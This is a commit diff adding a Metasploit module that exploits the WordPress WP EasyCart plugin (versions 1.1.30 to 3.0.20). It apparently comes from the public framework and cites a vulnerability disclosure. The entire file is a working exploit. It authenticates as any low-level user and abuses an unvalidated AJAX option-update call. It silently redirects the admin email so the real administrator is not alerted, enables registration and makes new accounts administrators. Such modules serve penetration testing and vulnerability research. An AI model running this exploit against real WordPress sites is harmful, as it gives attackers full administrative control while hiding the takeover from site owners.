Land #4847 @rastating's module for WordPress WP EasyCart privilege escalation

modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb

@@ -0,0 +1,107 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+  include Msf::HTTP::Wordpress
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'            => 'WordPress WP EasyCart Plugin Privilege Escalation',
+      'Description'     => %q{
+        The WordPress WP EasyCart plugin from version 1.1.30 to 3.0.20 allows authenticated
+        users  of any user level to set any system option via a lack of validation in the
+        ec_ajax_update_option and ec_ajax_clear_all_taxrates functions located in
+        /inc/admin/admin_ajax_functions.php. The module first changes the admin e-mail address
+        to prevent any notifications being sent to the actual administrator during the attack,
+        re-enables user registration in case it has been disabled and sets the default role to
+        be administrator. This will allow for the user to create a new account with admin
+        privileges via the default registration page found at /wp-login.php?action=register.
+      },
+      'Author'          =>
+        [
+          'Rob Carr <rob[at]rastating.com>' # Discovery and Metasploit module
+        ],
+      'License'         => MSF_LICENSE,
+      'References'      =>
+        [
+          ['WPVDB', '7808'],
+          ['URL', 'http://blog.rastating.com/wp-easycart-privilege-escalation-information-disclosure']
+        ],
+      'DisclosureDate'  => 'Feb 25 2015'
+      ))
+
+    register_options(
+      [
+        OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
+        OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
+      ], self.class)
+  end
+
+  def check
+    check_plugin_version_from_readme('wp-easycart', '3.0.21', '1.1.30')
+  end
+
+  def username
+    datastore['USERNAME']
+  end
+
+  def password
+    datastore['PASSWORD']
+  end
+
+  def set_wp_option(name, value, cookie)
+    res = send_request_cgi(
+      'method'    => 'POST',
+      'uri'       => wordpress_url_admin_ajax,
+      'vars_get'  => { 'action' => 'ec_ajax_update_option' },
+      'vars_post' => { 'option_name' => name, 'option_value' => value },
+      'cookie'    => cookie
+    )
+
+    if res.nil?
+      vprint_error("#{peer} - No response from the target.")
+    elsif res.code != 200
+      vprint_warning("#{peer} - Server responded with status code #{res.code}")
+    end
+
+    res
+  end
+
+  def run
+    print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
+    cookie = wordpress_login(username, password)
+    if cookie.nil?
+      print_error("#{peer} - Failed to authenticate with WordPress")
+      return
+    end
+    print_good("#{peer} - Authenticated with WordPress")
+
+    new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
+    print_status("#{peer} - Changing admin e-mail address to #{new_email}...")
+    if set_wp_option('admin_email', new_email, cookie).nil?
+      print_error("#{peer} - Failed to change the admin e-mail address")
+      return
+    end
+
+    print_status("#{peer} - Enabling user registrations...")
+    if set_wp_option('users_can_register', 1, cookie).nil?
+      print_error("#{peer} - Failed to enable user registrations")
+      return
+    end
+
+    print_status("#{peer} - Setting the default user role...")
+    if set_wp_option('default_role', 'administrator', cookie).nil?
+      print_error("#{peer} - Failed to set the default user role")
+      return
+    end
+
+    register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
+    print_good("#{peer} - Privilege escalation complete")
+    print_good("#{peer} - Create a new account at #{register_url} to gain admin access.")
+  end
+end